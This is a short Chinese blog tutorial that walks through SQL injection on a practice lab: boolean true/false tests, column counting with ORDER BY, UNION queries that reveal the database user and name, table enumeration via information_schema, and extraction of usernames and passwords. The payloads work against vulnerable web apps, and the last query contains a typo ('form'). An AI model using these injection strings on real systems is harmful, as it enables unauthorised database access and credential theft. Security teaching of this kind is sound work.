SQL注入教程漏洞

原创 2023-07-13 21:37
文章的分类 教程分享

这里给大家演示一下SQL注入漏洞

首先普及一下SQL语句

SELECT first_name,last_name FROM user WHERE user_id = '$id';

其中$id就是用户需要输入的内容

SELECT first_name,last_name FROM user WHERE user_id = '1'and 1 = 1#';

这里我们使用1后面的'来结束前面的语句,使用#来结束后面的语句,防止报错
好了,我们在靶场测试一下看看!

2023-07-13T13:26:46.png

测试成功,正常输出

SELECT first_name,last_name FROM user WHERE user_id = '1'and 1 = 2#';

当输入1'and 1 = 2#时,在原有查询完成后,查询1=2(错误),不输出,判断正确才输出!
尝试二次1=1正确输出和1=2错误输出,证明sql语句生效,存在sql注入漏洞!

利用SQL漏洞

判断列数:

SELECT first_name,last_name FROM user WHERE user_id = '1'order by 1#';

当输入'order by 2#时正常,输入'order by 3#时报错,即代表该数据库一共2列

2023-07-13T13:31:51.png

联合查询其他信息:

SELECT first_name,last_name FROM user WHERE user_id = '1'union select user(),database()#';
user() 返回当前数据库用户名
database() 返回当前数据库名称

2023-07-13T13:35:25.png

联合查询表:

SELECT first_name,last_name FROM user WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'root'#';

2023-07-13T13:56:31.png

查询用户和密码:

SELECT first_name,last_name FROM user WHERE user_id = '1' union select user,password form users#';


THE END


分享
赞赏
精选留言 写留言
    1. 锟斤 来自安徽省合肥市联通 访客 头像

      学到了学到了学到了

      2023年07月13日